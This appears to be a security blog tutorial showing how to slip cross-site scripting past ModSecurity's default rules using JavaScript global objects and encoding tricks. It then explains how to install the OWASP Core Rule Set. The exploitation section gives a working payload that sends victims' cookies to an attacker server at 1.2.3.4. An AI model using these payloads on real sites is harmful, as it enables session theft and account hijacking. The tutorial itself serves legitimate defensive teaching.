ModSecurity is a rule-based Web Application Firewall (WAF) which is most commonly deployed to provide protections against generic classes of vulnerabilities using the OWASP ModSecurity Core Rule Set (CRS). However, if instead of OWASP CRS the default (weaker) ruleset is used, then it can be circumvented in certain cases.
ModSecurity Filter Evasion
If your payload happens to get pasted into <script></script>
tags, then a good option is to use Javascript global variables to evade filters. These are some examples of global variables in Javascript: self
, document
, this
, top
, window
.
They can be used anywhere and allow you to access any non-scoped javascript function through them. Instead of accessing your cookies through document.cookie
, you can do it like this:
window["document"]["cookie"]
Evasion
Let’s assume that we want to access our cookie and on the vulnerable website we have code like this:
<?php echo "<script>alert('".$_GET['user_input']."')</script>";?>
If there was no Web Application Firewall (WAF) in the way, then we could simply inject
' + document.cookie + '
Where the resulting script would be
<script>alert('' + document.cookie + '')</script>
However, ModSecurity’s default configuration disallows the string document.cookie
. Therefore, we need to reference the cookie object without using that particular string.
An easy way to accomplish this is to use the aforementioned global objects. For example, this injection would bypass ModSecurity’s default filter:
' + self['document']['cookie'] + '
Exploitation
It wouldn’t be a complete example without showing how to actually snatch cookies from other users for yourself.
A common way to get the cookies is to run an HTTP server (like Apache or Nginx) on your machine. You will then access the victim’s cookie as shown before, but instead of alert
ing it out, we will request an image from our server, where the URL is the value of the cookie. Here’s how it works step by step:
First, we run an HTTP server. For this we can install Nginx or Apache, or we can simply use Python’s module for it, like I’ve done here:
python -m SimpleHTTPServer 80
This starts an HTTP server on port 80 on our machine.
Second, we will access the victim’s cookie using the evasion method by setting user_input
to be the following (remember that this would need to be urlencoded):
'); var cookie=self['document']['cookie'] //
Breaking the injection down piece by piece:
-
');
closes thealert
function -
var cookie=self['document']['cookie']
stores the cookie in the variablecookie
-
//
comments out everything after our code, making sure there are no errors from invalid syntax
Third, we will create an image with the cookie value embedded inside the URL, and make a request to our server.
Let’s say our ip address is 1.2.3.4. Then the final payload would look like this:
'); var cookie=self['document']['cookie']; var img=new Image(); img.src="http://1.2.3.4/?cookie=" + cookie; document.body.append(img) //
-
var img=new Image();
creates a new image -
img.src="http://1.2.3.4/?cookie=" + cookie;
sets the source of the image to our server, and sends the cookie along with the request -
document.body.append(img)
adds the image to the document body.
Advanced
It’s possible to get more advanced with this to fool better filters than the default filter on ModSecurity. Here are some examples:
1) We can split the strings
self["ale"+"rt"](self["doc"+"ument"]["coo"+"kie"])
2) We can hex-encode the strings
self["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x63\x6f\x6f\x6b\x69\x65"]
<– the same as self[‘document’][‘cookie’]
In addition to these simple examples, we can get even more complex. We can for example base64 encode our payload, use self['eval']
, use jQuery or use Object.keys
to avoid having to reference our object by name whatsoever. For further reading on the subject, I recommend this great article.
Configuring ModSecurity
Here we will assume ModSecurity has already been installed with Apache and you simply wish to replace the default ruleset with a more comprehensive one.
First, gain sudo privileges
sudo su
Second, backup the old ruleset folder in case anything goes awry
mv /usr/share/modsecurity-crs /usr/share/modsecurity-crs.bk
Now clone the updated ruleset repository using Git
git clone https://github.com/SpiderLabs/owasp-modsecurity-crs.git /usr/share/modsecurity-crs
Let’s use the default configuration
cp /usr/share/modsecurity-crs/crs-setup.conf.example /usr/share/modsecurity-crs/crs-setup.conf
Update the /etc/apache2/mods-enabled/security2.conf
file with the following contents:
<IfModule security2_module>
SecDataDir /var/cache/modsecurity
IncludeOptional /etc/modsecurity/*.conf
IncludeOptional /usr/share/modsecurity-crs/owasp-crs.load
IncludeOptional /usr/share/modsecurity-crs/*.conf
IncludeOptional /usr/share/modsecurity-crs/rules/*.conf
</IfModule>
Finally, restart the service so the changes take effect.
service apache2 restart
Conclusion
When using Web Application Firewalls, we should always make sure that they’re updated with the latest ruleset. Otherwise, given the right circumstances, they may be relatively easy to evade using global variables.